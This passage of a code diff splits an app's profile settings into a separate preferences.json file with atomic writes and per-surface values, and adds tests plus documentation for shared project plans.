"scope": "profile"
|
||||
},
|
||||
"usageSelectedModels": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"usageCollapsedFamilies": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"usageExpandedFamilies": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"usageModelGroups": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"globalBehaviorPrompt": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"responseStyleEnabled": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"responseStylePreset": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"responseStyleCustomInstructions": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"optimizeSystemPrompt": {
|
||||
"scope": "profile"
|
||||
},
|
||||
"pwaAppName": {
|
||||
"scope": "instance",
|
||||
"surfaces": [
|
||||
"web"
|
||||
]
|
||||
},
|
||||
"pwaOrientation": {
|
||||
"scope": "instance",
|
||||
"surfaces": [
|
||||
"web"
|
||||
]
|
||||
},
|
||||
"mobileKeyboardMode": {
|
||||
"scope": "device",
|
||||
"surfaces": [
|
||||
"mobile"
|
||||
]
|
||||
},
|
||||
"desktopWindowControlsPosition": {
|
||||
"scope": "device",
|
||||
"surfaces": [
|
||||
"desktop"
|
||||
]
|
||||
},
|
||||
"desktopWindowControlsStyle": {
|
||||
"scope": "device",
|
||||
"surfaces": [
|
||||
"desktop"
|
||||
]
|
||||
},
|
||||
"inputBarOffset": {
|
||||
"scope": "device",
|
||||
"surfaces": [
|
||||
"mobile",
|
||||
"web"
|
||||
]
|
||||
},
|
||||
"theme": {
|
||||
"scope": "device",
|
||||
"local": true
|
||||
},
|
||||
"isSidebarOpen": {
|
||||
"scope": "device",
|
||||
"local": true
|
||||
},
|
||||
"sidebarWidth": {
|
||||
"scope": "device",
|
||||
"local": true
|
||||
},
|
||||
"contextPanelByDirectory": {
|
||||
"scope": "device",
|
||||
"local": true
|
||||
},
|
||||
"contextRailOrder": {
|
||||
"scope": "device",
|
||||
"local": true
|
||||
},
|
||||
"contextRailHiddenSurfaces": {
|
||||
"scope": "device",
|
||||
"local": true
|
||||
},
|
||||
"contextEditorTreeVisible": {
|
||||
"scope": "device",
|
||||
"local": true
|
||||
},
|
||||
"contextEditorTreeWidth": {
|
||||
"scope": "device",
|
||||
"local": true
|
||||
},
|
||||
"notesPanelHeight": {
|
||||
"scope": "device",
|
||||
"local": true
|
||||
},
|
||||
"workStatusExpandedSections": {
|
||||
"scope": "device",
|
||||
"local": true
|
||||
},
|
||||
"workStatusScrollTop": {
|
||||
"scope": "device",
|
||||
"local": true
|
||||
},
|
||||
"isSessionSwitcherOpen": {
|
||||
"scope": "device",
|
||||
"local": true
|
||||
},
|
||||
"sidebarSection": {
|
||||
"scope": "device",
|
||||
"local": true
|
||||
},
|
||||
"settingsPage": {
|
||||
"scope": "device",
|
||||
"local": true
|
||||
},
|
||||
"settingsHasOpenedOnce": {
|
||||
"scope": "device",
|
||||
"local": true
|
||||
},
|
||||
"settingsProjectsSelectedId": {
|
||||
"scope": "device",
|
||||
"local": true
|
||||
},
|
||||
"settingsRemoteInstancesSelectedId": {
|
||||
"scope": "device",
|
||||
"local": true
|
||||
},
|
||||
"isSessionCreateDialogOpen": {
|
||||
"scope": "device",
|
||||
"local": true
|
||||
},
|
||||
"autoDeleteLastRunAt": {
|
||||
"scope": "device",
|
||||
"local": true
|
||||
},
|
||||
"messageLimit": {
|
||||
"scope": "device",
|
||||
"local": true
|
||||
},
|
||||
"walkthroughTocWidth": {
|
||||
"scope": "device",
|
||||
"local": true
|
||||
},
|
||||
"linearIssueListStatus": {
|
||||
"scope": "device",
|
||||
"local": true
|
||||
},
|
||||
"linearIssueListAssignee": {
|
||||
"scope": "device",
|
||||
"local": true
|
||||
},
|
||||
"linearIssueListTeamIdByRuntime": {
|
||||
"scope": "device",
|
||||
"local": true
|
||||
},
|
||||
"linearIssueListPriority": {
|
||||
"scope": "device",
|
||||
"local": true
|
||||
},
|
||||
"showTerminalQuickKeysOnDesktop": {
|
||||
"scope": "device",
|
||||
"local": true
|
||||
},
|
||||
"dockBadgeEnabled": {
|
||||
"scope": "device",
|
||||
"local": true
|
||||
},
|
||||
"alwaysShowScrollbars": {
|
||||
"scope": "device",
|
||||
"local": true
|
||||
},
|
||||
"agentMemoryViewedAt": {
|
||||
"scope": "device",
|
||||
"local": true
|
||||
},
|
||||
"projectContextSidebarWidth": {
|
||||
"scope": "device",
|
||||
"local": true
|
||||
},
|
||||
"desktopSplashColors": {
|
||||
"scope": "instance",
|
||||
"owner": "desktop-shell",
|
||||
"surfaces": [
|
||||
"desktop"
|
||||
]
|
||||
},
|
||||
"desktopHosts": {
|
||||
"scope": "instance",
|
||||
"owner": "desktop-shell",
|
||||
"surfaces": [
|
||||
"desktop"
|
||||
]
|
||||
},
|
||||
"desktopDefaultHostId": {
|
||||
"scope": "instance",
|
||||
"owner": "desktop-shell",
|
||||
"surfaces": [
|
||||
"desktop"
|
||||
]
|
||||
},
|
||||
"desktopInstallId": {
|
||||
"scope": "instance",
|
||||
"owner": "desktop-shell",
|
||||
"surfaces": [
|
||||
"desktop"
|
||||
]
|
||||
},
|
||||
"desktopLocalPort": {
|
||||
"scope": "instance",
|
||||
"owner": "desktop-shell",
|
||||
"surfaces": [
|
||||
"desktop"
|
||||
]
|
||||
},
|
||||
"desktopSshInstances": {
|
||||
"scope": "instance",
|
||||
"owner": "desktop-shell",
|
||||
"surfaces": [
|
||||
"desktop"
|
||||
]
|
||||
},
|
||||
"desktopWindowState": {
|
||||
"scope": "instance",
|
||||
"owner": "desktop-shell",
|
||||
"surfaces": [
|
||||
"desktop"
|
||||
]
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,4 +1,18 @@
|
||||
import { createProjectIdFromPath } from '../projects/project-id.js';
|
||||
import {
|
||||
buildPreferencesFields,
|
||||
flattenPreferences,
|
||||
instancePartOf,
|
||||
legacySettingsDocumentOf,
|
||||
profilePartOf,
|
||||
isDeviceSettingsKey,
|
||||
isProfileSettingsKey,
|
||||
normalizeSettingsSurface,
|
||||
parsePreferencesDocument,
|
||||
preferencesFilePathFor,
|
||||
seedPreferencesFrom,
|
||||
serializePreferencesDocument,
|
||||
} from './settings-files.js';
|
||||
|
||||
const DEFAULT_NOTIFICATION_TEMPLATES = {
|
||||
completion: { title: '{agent_name} is ready', message: '{model_name} completed the task' },
|
||||
@@ -48,6 +62,13 @@ export const createSettingsRuntime = (deps) => {
|
||||
|
||||
let persistSettingsLock = Promise.resolve();
|
||||
|
||||
const PREFERENCES_FILE_PATH = preferencesFilePathFor(SETTINGS_FILE_PATH, path);
|
||||
// True while preferences.json exists but cannot be read. Profile writes are
|
||||
// refused meanwhile so a corrupt file is never overwritten with a seed or a
|
||||
// partial document; clients keep the values they hold.
|
||||
let preferencesUnavailable = false;
|
||||
let preferencesFailureLogged = false;
|
||||
|
||||
// Orphan recovery is a one-shot best-effort scan: when orphans can't be
|
||||
// matched on first pass they stay on disk and every subsequent settings
|
||||
// read would re-scan them. In-process (Electron) this runs in the main
|
||||
@@ -472,7 +493,7 @@ export const createSettingsRuntime = (deps) => {
|
||||
}
|
||||
};
|
||||
|
||||
const readSettingsFromDisk = async () => {
|
||||
const readInstanceSettingsFromDisk = async () => {
|
||||
try {
|
||||
const raw = await fsPromises.readFile(SETTINGS_FILE_PATH, 'utf8');
|
||||
const parsed = JSON.parse(raw);
|
||||
@@ -489,6 +510,67 @@ export const createSettingsRuntime = (deps) => {
|
||||
}
|
||||
};
|
||||
|
||||
/**
|
||||
* `{ status: 'missing' }` when the file does not exist, `{ status: 'ok',
|
||||
* fields }` when it parsed, `{ status: 'failed' }` for anything else. Only
|
||||
* "missing" may be seeded; "failed" must leave the file alone.
|
||||
*/
|
||||
const readPreferenceFields = async () => {
|
||||
let raw;
|
||||
try {
|
||||
raw = await fsPromises.readFile(PREFERENCES_FILE_PATH, 'utf8');
|
||||
} catch (error) {
|
||||
if (error && typeof error === 'object' && error.code === 'ENOENT') {
|
||||
return { status: 'missing' };
|
||||
}
|
||||
if (!preferencesFailureLogged) {
|
||||
preferencesFailureLogged = true;
|
||||
console.warn('Failed to read preferences file:', error);
|
||||
}
|
||||
return { status: 'failed' };
|
||||
}
|
||||
const parsed = parsePreferencesDocument(raw);
|
||||
if (!parsed.ok) {
|
||||
if (!preferencesFailureLogged) {
|
||||
preferencesFailureLogged = true;
|
||||
console.warn(`Preferences file is unreadable (${parsed.reason}); profile writes are paused until it is fixed or removed.`);
|
||||
}
|
||||
return { status: 'failed' };
|
||||
}
|
||||
preferencesFailureLogged = false;
|
||||
return { status: 'ok', fields: parsed.fields };
|
||||
};
|
||||
|
||||
const writePreferencesToDisk = async (fields) => {
|
||||
await writeJsonFileAtomic(PREFERENCES_FILE_PATH, serializePreferencesDocument(fields));
|
||||
};
|
||||
|
||||
// The merged document every consumer sees: instance facts from settings.json
|
||||
// plus the profile from preferences.json. On the first read of an install
|
||||
// that predates the split, the profile keys still sitting in settings.json
|
||||
// seed preferences.json. settings.json keeps a copy of the profile's base
|
||||
// values on every write too, so an older build (which reads only that file)
|
||||
// still finds everything where it used to be.
|
||||
const readSettingsFromDisk = async ({ surface = null } = {}) => {
|
||||
const instance = await readInstanceSettingsFromDisk();
|
||||
const preferences = await readPreferenceFields();
|
||||
if (preferences.status === 'failed') {
|
||||
preferencesUnavailable = true;
|
||||
return instance;
|
||||
}
|
||||
preferencesUnavailable = false;
|
||||
if (preferences.status === 'missing') {
|
||||
const seeded = seedPreferencesFrom(instance, Date.now());
|
||||
try {
|
||||
await writePreferencesToDisk(seeded);
|
||||
} catch (error) {
|
||||
console.warn('Failed to seed preferences file:', error);
|
||||
}
|
||||
return instance;
|
||||
}
|
||||
return { ...instance, ...flattenPreferences(preferences.fields, normalizeSettingsSurface(surface)) };
|
||||
};
|
||||
|
||||
// Strict variant for callers that REGENERATE persisted identity when a key is
|
||||
// absent (relay signing/encryption keys). The lenient reader above maps every
|
||||
// failure — corrupt JSON, EACCES, transient I/O — to `{}`, which such callers
|
||||
@@ -558,7 +640,7 @@ export const createSettingsRuntime = (deps) => {
|
||||
try {
|
||||
const entries = await fsPromises.readdir(directory, { withFileTypes: true });
|
||||
const cleanupTasks = entries
|
||||
.filter((entry) => entry.isFile() && entry.name.startsWith('settings.json.tmp-'))
|
||||
.filter((entry) => entry.isFile() && (entry.name.startsWith('settings.json.tmp-') || entry.name.startsWith('preferences.json.tmp-')))
|
||||
.map((entry) => fsPromises.rm(path.join(directory, entry.name), { force: true }).catch(() => {}));
|
||||
await Promise.all(cleanupTasks);
|
||||
} catch {
|
||||
@@ -566,27 +648,54 @@ export const createSettingsRuntime = (deps) => {
|
||||
}
|
||||
};
|
||||
|
||||
const writeSettingsToDisk = async (settings) => {
|
||||
const settingsDirectory = path.dirname(SETTINGS_FILE_PATH);
|
||||
await fsPromises.mkdir(settingsDirectory, { recursive: true, mode: 0o700 });
|
||||
if (process.platform !== 'win32') await fsPromises.chmod(settingsDirectory, 0o700);
|
||||
// Atomic write: Electron main and ssh-manager read this file via plain
|
||||
const writeJsonFileAtomic = async (filePath, text) => {
|
||||
const directory = path.dirname(filePath);
|
||||
await fsPromises.mkdir(directory, { recursive: true, mode: 0o700 });
|
||||
if (process.platform !== 'win32') await fsPromises.chmod(directory, 0o700);
|
||||
// Atomic write: Electron main and ssh-manager read these files via plain
|
||||
// readFile + JSON.parse and silently coerce parse errors to {}. A
|
||||
// partial read during a non-atomic writeFile would make their next
|
||||
// read-modify-write wipe the settings file.
|
||||
const tmp = `${SETTINGS_FILE_PATH}.tmp-${process.pid}-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`;
|
||||
// read-modify-write wipe the file.
|
||||
const tmp = `${filePath}.tmp-${process.pid}-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`;
|
||||
try {
|
||||
await fsPromises.writeFile(tmp, JSON.stringify(settings, null, 2), { encoding: 'utf8', mode: 0o600 });
|
||||
await fsPromises.writeFile(tmp, text, { encoding: 'utf8', mode: 0o600 });
|
||||
if (process.platform !== 'win32') await fsPromises.chmod(tmp, 0o600);
|
||||
await replaceFile(tmp, SETTINGS_FILE_PATH);
|
||||
if (process.platform !== 'win32') await fsPromises.chmod(SETTINGS_FILE_PATH, 0o600);
|
||||
await replaceFile(tmp, filePath);
|
||||
if (process.platform !== 'win32') await fsPromises.chmod(filePath, 0o600);
|
||||
} catch (error) {
|
||||
await fsPromises.rm(tmp, { force: true }).catch(() => {});
|
||||
console.warn('Failed to write settings file:', error);
|
||||
console.warn(`Failed to write ${path.basename(filePath)}:`, error);
|
||||
throw error;
|
||||
}
|
||||
};
|
||||
|
||||
/**
|
||||
* Persist a merged document: profile keys go to preferences.json (stamped
|
||||
* when their value changed), everything else to settings.json. While
|
||||
* preferences.json is unreadable its part is skipped rather than replaced.
|
||||
*/
|
||||
const writeSettingsToDisk = async (settings, { surface = null, changedKeys = null } = {}) => {
|
||||
const current = preferencesUnavailable ? { status: 'failed' } : await readPreferenceFields();
|
||||
if (current.status === 'failed') {
|
||||
// The profile part is not saved; settings.json keeps whatever legacy
|
||||
// profile copy it already holds rather than losing it too.
|
||||
preferencesUnavailable = true;
|
||||
const onDisk = await readInstanceSettingsFromDisk();
|
||||
await writeJsonFileAtomic(SETTINGS_FILE_PATH, JSON.stringify({
|
||||
...instancePartOf(settings),
|
||||
...profilePartOf(onDisk),
|
||||
}, null, 2));
|
||||
return;
|
||||
}
|
||||
const previousFields = current.status === 'ok' ? current.fields : {};
|
||||
const nextFields = buildPreferencesFields(previousFields, settings, Date.now(), {
|
||||
surface: normalizeSettingsSurface(surface),
|
||||
changedKeys,
|
||||
});
|
||||
await writeJsonFileAtomic(SETTINGS_FILE_PATH, JSON.stringify(legacySettingsDocumentOf(settings, nextFields), null, 2));
|
||||
await writePreferencesToDisk(nextFields);
|
||||
};
|
||||
|
||||
const validateProjectEntries = async (projects) => {
|
||||
if (!Array.isArray(projects)) {
|
||||
return [];
|
||||
@@ -872,7 +981,7 @@ export const createSettingsRuntime = (deps) => {
|
||||
|
||||
let hasCleanedOrphanedTempFiles = false;
|
||||
|
||||
const readSettingsFromDiskMigrated = async () => {
|
||||
const readSettingsFromDiskMigrated = async ({ surface = null } = {}) => {
|
||||
if (!hasCleanedOrphanedTempFiles) {
|
||||
hasCleanedOrphanedTempFiles = true;
|
||||
await cleanupOrphanedSettingsTempFiles(path.dirname(SETTINGS_FILE_PATH));
|
||||
@@ -889,16 +998,28 @@ export const createSettingsRuntime = (deps) => {
|
||||
if (migration1.changed || migration2.changed || migration3.changed || migration4.changed || migration5.changed || migration6.changed || migration7.changed || migration8.changed) {
|
||||
await writeSettingsToDisk(migration8.settings);
|
||||
}
|
||||
return migration8.settings;
|
||||
// Migrations run on the base view; a surface asks for its own resolution
|
||||
// of the per-surface keys on top of the migrated files.
|
||||
return normalizeSettingsSurface(surface) ? readSettingsFromDisk({ surface }) : migration8.settings;
|
||||
};
|
||||
|
||||
const persistSettings = async (changes) => {
|
||||
const persistSettings = async (changes, { surface = null } = {}) => {
|
||||
persistSettingsLock = persistSettingsLock.then(async () => {
|
||||
// Log field names only — changes can carry credentials (UI password,
|
||||
// client tokens, tunnel tokens) that must never reach the log file.
|
||||
console.log('[persistSettings] Updating fields:', Object.keys(changes || {}).join(', ') || '(none)');
|
||||
const current = await readSettingsFromDisk();
|
||||
const current = await readSettingsFromDisk({ surface });
|
||||
const sanitized = sanitizeSettingsUpdate(changes);
|
||||
for (const key of Object.keys(sanitized)) {
|
||||
// Device state belongs to the install in front of the user, never to
|
||||
// the instance; a client that still sends it is simply ignored.
|
||||
if (isDeviceSettingsKey(key)) {
|
||||
delete sanitized[key];
|
||||
} else if (preferencesUnavailable && isProfileSettingsKey(key)) {
|
||||
console.warn(`[persistSettings] Dropping ${key}: preferences file is unreadable`);
|
||||
delete sanitized[key];
|
||||
}
|
||||
}
|
||||
let next = mergePersistedSettings(current, sanitized);
|
||||
|
||||
const normalizedState = normalizeSettingsPaths(next);
|
||||
@@ -962,7 +1083,7 @@ export const createSettingsRuntime = (deps) => {
|
||||
}
|
||||
}
|
||||
|
||||
await writeSettingsToDisk(next);
|
||||
await writeSettingsToDisk(next, { surface, changedKeys: Object.keys(sanitized) });
|
||||
return formatSettingsResponse(next);
|
||||
});
|
||||
|
||||
|
||||
@@ -6,7 +6,7 @@ import path from 'path';
|
||||
import { createProjectIdFromPath } from '../projects/project-id.js';
|
||||
import { createSettingsRuntime } from './settings-runtime.js';
|
||||
|
||||
const createRuntime = async () => {
|
||||
const createRuntime = async ({ mergePersistedSettings = (_current, changes) => changes } = {}) => {
|
||||
const tempRoot = await fsPromises.mkdtemp(path.join(os.tmpdir(), 'oc-settings-runtime-'));
|
||||
const settingsFilePath = path.join(tempRoot, 'settings.json');
|
||||
const runtime = createSettingsRuntime({
|
||||
@@ -16,7 +16,7 @@ const createRuntime = async () => {
|
||||
SETTINGS_FILE_PATH: settingsFilePath,
|
||||
sanitizeProjects: (projects) => Array.isArray(projects) ? projects : [],
|
||||
sanitizeSettingsUpdate: (settings) => settings,
|
||||
mergePersistedSettings: (_current, changes) => changes,
|
||||
mergePersistedSettings,
|
||||
normalizeSettingsPaths: (settings) => ({ settings, changed: false }),
|
||||
normalizeStringArray: (values) => Array.isArray(values) ? values.filter((value) => typeof value === 'string') : [],
|
||||
formatSettingsResponse: (settings) => settings,
|
||||
@@ -68,8 +68,8 @@ describe('settings runtime', () => {
|
||||
}
|
||||
});
|
||||
|
||||
it('round-trips shared sidebar preferences through settings.json', async () => {
|
||||
const { runtime, settingsFilePath, cleanup } = await createRuntime();
|
||||
it('round-trips shared sidebar preferences through preferences.json', async () => {
|
||||
const { runtime, settingsFilePath, tempRoot, cleanup } = await createRuntime();
|
||||
const preferences = {
|
||||
sidebarProjectDisplayMode: 'single',
|
||||
sidebarSessionGroupingMode: 'flat',
|
||||
@@ -80,7 +80,10 @@ describe('settings runtime', () => {
|
||||
await runtime.persistSettings(preferences);
|
||||
|
||||
await expect(runtime.readSettingsFromDisk()).resolves.toEqual(preferences);
|
||||
await expect(fsPromises.readFile(settingsFilePath, 'utf8')).resolves.toBe(JSON.stringify(preferences, null, 2));
|
||||
// Profile keys live in preferences.json; settings.json keeps a legacy copy for older builds.
|
||||
expect(JSON.parse(await fsPromises.readFile(settingsFilePath, 'utf8'))).toEqual(preferences);
|
||||
const stored = JSON.parse(await fsPromises.readFile(path.join(tempRoot, 'preferences.json'), 'utf8'));
|
||||
expect(Object.fromEntries(Object.entries(stored.fields).map(([key, entry]) => [key, entry.value]))).toEqual(preferences);
|
||||
} finally {
|
||||
await cleanup();
|
||||
}
|
||||
@@ -248,3 +251,158 @@ describe('settings runtime', () => {
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe('settings runtime: preferences.json split', () => {
|
||||
const readJson = async (filePath) => JSON.parse(await fsPromises.readFile(filePath, 'utf8'));
|
||||
|
||||
it('seeds preferences.json from the profile keys of an existing settings.json and leaves that file intact', async () => {
|
||||
const { runtime, settingsFilePath, tempRoot, cleanup } = await createRuntime();
|
||||
try {
|
||||
const legacy = { projects: [], fontSize: 110, themeId: 'openchamber-dark', desktopLanAccessEnabled: true };
|
||||
await fsPromises.writeFile(settingsFilePath, JSON.stringify(legacy));
|
||||
|
||||
const merged = await runtime.readSettingsFromDisk();
|
||||
expect(merged).toMatchObject(legacy);
|
||||
|
||||
const preferences = await readJson(path.join(tempRoot, 'preferences.json'));
|
||||
expect(preferences.version).toBe(1);
|
||||
expect(Object.keys(preferences.fields).sort()).toEqual(['fontSize', 'themeId']);
|
||||
expect(preferences.fields.fontSize.value).toBe(110);
|
||||
expect(typeof preferences.fields.fontSize.updatedAt).toBe('number');
|
||||
expect(await readJson(settingsFilePath)).toEqual(legacy);
|
||||
} finally {
|
||||
await cleanup();
|
||||
}
|
||||
});
|
||||
|
||||
it('routes profile keys to preferences.json, keeps a legacy copy of them in settings.json, and drops device keys', async () => {
|
||||
const { runtime, settingsFilePath, tempRoot, cleanup } = await createRuntime();
|
||||
try {
|
||||
await runtime.persistSettings({ fontSize: 120, desktopLanAccessEnabled: true, mobileKeyboardMode: 'native' });
|
||||
|
||||
const settings = await readJson(settingsFilePath);
|
||||
expect(settings.desktopLanAccessEnabled).toBe(true);
|
||||
// Older builds read only settings.json: the profile's base values stay there as a copy.
|
||||
expect(settings.fontSize).toBe(120);
|
||||
expect(settings).not.toHaveProperty('mobileKeyboardMode');
|
||||
|
||||
const preferences = await readJson(path.join(tempRoot, 'preferences.json'));
|
||||
expect(preferences.fields.fontSize.value).toBe(120);
|
||||
expect(preferences.fields).not.toHaveProperty('mobileKeyboardMode');
|
||||
expect(preferences.fields).not.toHaveProperty('desktopLanAccessEnabled');
|
||||
|
||||
expect(await runtime.readSettingsFromDisk()).toMatchObject({ fontSize: 120, desktopLanAccessEnabled: true });
|
||||
} finally {
|
||||
await cleanup();
|
||||
}
|
||||
});
|
||||
|
||||
it('keeps the timestamp of an unchanged profile key and restamps a changed one', async () => {
|
||||
const { runtime, tempRoot, cleanup } = await createRuntime();
|
||||
try {
|
||||
const preferencesPath = path.join(tempRoot, 'preferences.json');
|
||||
await runtime.persistSettings({ fontSize: 100, padding: 100 });
|
||||
const first = await readJson(preferencesPath);
|
||||
await new Promise((resolve) => setTimeout(resolve, 5));
|
||||
await runtime.persistSettings({ fontSize: 100, padding: 120 });
|
||||
const second = await readJson(preferencesPath);
|
||||
|
||||
expect(second.fields.fontSize.updatedAt).toBe(first.fields.fontSize.updatedAt);
|
||||
expect(second.fields.padding.updatedAt).toBeGreaterThan(first.fields.padding.updatedAt);
|
||||
expect(second.fields.padding.value).toBe(120);
|
||||
} finally {
|
||||
await cleanup();
|
||||
}
|
||||
});
|
||||
|
||||
it('treats an unreadable preferences.json as failure: no seed, no overwrite, profile writes refused, instance still served', async () => {
|
||||
const { runtime, settingsFilePath, tempRoot, cleanup } = await createRuntime();
|
||||
try {
|
||||
const preferencesPath = path.join(tempRoot, 'preferences.json');
|
||||
await fsPromises.writeFile(settingsFilePath, JSON.stringify({ desktopLanAccessEnabled: true }));
|
||||
await fsPromises.writeFile(preferencesPath, '{ not json');
|
||||
|
||||
expect(await runtime.readSettingsFromDisk()).toEqual({ desktopLanAccessEnabled: true });
|
||||
|
||||
await runtime.persistSettings({ fontSize: 130, desktopKeepAwakeEnabled: true });
|
||||
|
||||
expect(await fsPromises.readFile(preferencesPath, 'utf8')).toBe('{ not json');
|
||||
const settings = await readJson(settingsFilePath);
|
||||
expect(settings.desktopKeepAwakeEnabled).toBe(true);
|
||||
// The refused profile write must not land in the legacy copy either.
|
||||
expect(settings).not.toHaveProperty('fontSize');
|
||||
} finally {
|
||||
await cleanup();
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe('settings runtime: per-surface profile keys', () => {
|
||||
const readJson = async (filePath) => JSON.parse(await fsPromises.readFile(filePath, 'utf8'));
|
||||
// These sequences persist several times; the default stub replaces the
|
||||
// document with the changes, the real merge keeps the current document.
|
||||
const createMergingRuntime = () => createRuntime({ mergePersistedSettings: (current, changes) => ({ ...current, ...changes }) });
|
||||
|
||||
it('stores a per-surface key under the writing surface and leaves the base alone', async () => {
|
||||
const { runtime, tempRoot, cleanup } = await createMergingRuntime();
|
||||
try {
|
||||
await runtime.persistSettings({ fontSize: 100 }); // base (no surface): migrations and legacy callers
|
||||
await runtime.persistSettings({ fontSize: 130, showReasoningTraces: false }, { surface: 'mobile' });
|
||||
|
||||
const stored = await readJson(path.join(tempRoot, 'preferences.json'));
|
||||
expect(stored.fields.fontSize.value).toBe(100);
|
||||
expect(stored.fields.fontSize.surfaces.mobile.value).toBe(130);
|
||||
// Not per-surface: written to the base regardless of the surface.
|
||||
expect(stored.fields.showReasoningTraces.value).toBe(false);
|
||||
expect(stored.fields.showReasoningTraces.surfaces).toBeUndefined();
|
||||
|
||||
expect((await runtime.readSettingsFromDisk({ surface: 'mobile' })).fontSize).toBe(130);
|
||||
expect((await runtime.readSettingsFromDisk({ surface: 'desktop' })).fontSize).toBe(100);
|
||||
expect((await runtime.readSettingsFromDisk()).fontSize).toBe(100);
|
||||
expect((await runtime.readSettingsFromDiskMigrated({ surface: 'mobile' })).fontSize).toBe(130);
|
||||
} finally {
|
||||
await cleanup();
|
||||
}
|
||||
});
|
||||
|
||||
it('a per-surface key set only from one surface has no base and stays absent elsewhere', async () => {
|
||||
const { runtime, tempRoot, cleanup } = await createMergingRuntime();
|
||||
try {
|
||||
await runtime.persistSettings({ stickyUserHeader: false }, { surface: 'mobile' });
|
||||
const stored = await readJson(path.join(tempRoot, 'preferences.json'));
|
||||
expect(stored.fields.stickyUserHeader).not.toHaveProperty('value');
|
||||
expect(stored.fields.stickyUserHeader.surfaces.mobile.value).toBe(false);
|
||||
expect((await runtime.readSettingsFromDisk({ surface: 'desktop' })).stickyUserHeader).toBeUndefined();
|
||||
expect((await runtime.readSettingsFromDisk({ surface: 'mobile' })).stickyUserHeader).toBe(false);
|
||||
} finally {
|
||||
await cleanup();
|
||||
}
|
||||
});
|
||||
|
||||
it('a surface write of an unrelated key does not copy the resolved per-surface view into the file', async () => {
|
||||
const { runtime, tempRoot, cleanup } = await createMergingRuntime();
|
||||
try {
|
||||
await runtime.persistSettings({ fontSize: 100 });
|
||||
await runtime.persistSettings({ fontSize: 130 }, { surface: 'mobile' });
|
||||
await runtime.persistSettings({ showReasoningTraces: true }, { surface: 'mobile' });
|
||||
const stored = await readJson(path.join(tempRoot, 'preferences.json'));
|
||||
expect(stored.fields.fontSize.value).toBe(100);
|
||||
expect(stored.fields.fontSize.surfaces.mobile.value).toBe(130);
|
||||
expect(stored.fields.fontSize.surfaces.desktop).toBeUndefined();
|
||||
} finally {
|
||||
await cleanup();
|
||||
}
|
||||
});
|
||||
|
||||
it('ignores an unknown surface header value and writes the base', async () => {
|
||||
const { runtime, tempRoot, cleanup } = await createMergingRuntime();
|
||||
try {
|
||||
await runtime.persistSettings({ fontSize: 90 }, { surface: 'toaster' });
|
||||
const stored = await readJson(path.join(tempRoot, 'preferences.json'));
|
||||
expect(stored.fields.fontSize.value).toBe(90);
|
||||
expect(stored.fields.fontSize.surfaces).toBeUndefined();
|
||||
} finally {
|
||||
await cleanup();
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
@@ -9,9 +9,10 @@ The managed Chats root (`~/.config/openchamber/chats`) is also one context owner
|
||||
|
||||
| Path | Owner | Contents |
|
||||
|---|---|---|
|
||||
| `<projectsDir>/<projectId>.json` | shared UI (`packages/ui/src/lib/openchamberConfig.ts`), plus server-owned `version` / `scheduledTasks` | worktree setup, draft starters, project actions |
|
||||
| `<projectsDir>/<projectId>.json` | `packages/web/server/lib/projects` (`project-setup.js` for the client-owned keys behind `/api/projects/:projectId/config`; `project-config.js` for `version` / `scheduledTasks`), one write lock for both | worktree setup, draft starters, project actions, scheduled tasks |
|
||||
| `<projectsDir>/<projectId>/context.json` | **this module, exclusively** | notes, todos, plan manifest |
|
||||
| `<projectsDir>/<projectId>/plans/*.md` | **this module, exclusively** | plan bodies |
|
||||
| `<repo>/<plansDir>/*.md` | this module (read, edit, delete, move) when the team config names a `plansDir`; the folder is the team's, any tool may write there | shared plan bodies |
|
||||
|
||||
The split is the point. Both files were previously one, written by the client
|
||||
with a whole-file read-modify-write. Adding a server writer to that file would
|
||||
@@ -58,6 +59,27 @@ denormalized into the manifest so listing plans costs one read rather than one
|
||||
read per plan; `readPlan` returns the title parsed from the file, which wins if
|
||||
the two ever disagree.
|
||||
|
||||
## Shared plans
|
||||
|
||||
Every `.md` file in the repository plans folder is a plan too: `.openchamber/plans`
|
||||
by default, or the `plansDir` the team config (`<repo>/.openchamber/project.json`,
|
||||
see `packages/web/server/lib/projects`) names instead of it (the custom folder
|
||||
replaces the default outright; moving files between the two is the user's job). `readContext` appends them after the personal ones,
|
||||
each marked `source: "shared"` (personal ones get `source: "personal"`), and
|
||||
reports the folder as `sharedPlansDir`. A shared plan is addressed as
|
||||
`shared:<file>` when no manifest entry claims it; its title is parsed from the
|
||||
file on every list, and `readPlan` / `updatePlan` / `deletePlan` work on the
|
||||
file directly (an update writes the raw document verbatim, so a plan another
|
||||
tool wrote keeps its shape). `setPlanPinned` is `404` for such a plan.
|
||||
|
||||
A plan the user moves there keeps its id: `sharePlan` moves the markdown into
|
||||
the folder and keeps the manifest entry with `shared: true` (the flag says
|
||||
which folder holds the file), so a session that attached the plan still finds
|
||||
it, and the file is listed under that id instead of `shared:<file>`.
|
||||
`unsharePlan` moves it back and clears the flag; a plan that only ever lived
|
||||
in the team's folder gets a manifest entry (and an id) on the way in. A name
|
||||
collision gets a numeric suffix. Sharing is refused only when the checkout cannot be located.
|
||||
|
||||
## Routes
|
||||
|
||||
| Method | Route | Notes |
|
||||
@@ -72,6 +94,8 @@ the two ever disagree.
|
||||
| POST | `/api/project-context/:projectId/plans` | `201`; takes `{title, body}`, never a path |
|
||||
| PUT | `/api/project-context/:projectId/plans/:planId` | takes the whole `{raw}` document; `404` when the link or its markdown is gone |
|
||||
| DELETE | `/api/project-context/:projectId/plans/:planId` | `404` when unknown |
|
||||
| POST | `/api/project-context/:projectId/plans/:planId/share` | moves the plan into the shared folder; `400` without one, `404` when unknown |
|
||||
| POST | `/api/project-context/:projectId/plans/:planId/unshare` | moves a `shared:` plan back; `404` when unknown |
|
||||
|
||||
**Body parsing is attached per route.** This server has no global JSON parser:
|
||||
`core-routes` parses only an allowlist of `/api` path prefixes so the generic
|
||||
|
||||
@@ -57,6 +57,8 @@ const createApp = (overrides = {}) => {
|
||||
context: emptyContext,
|
||||
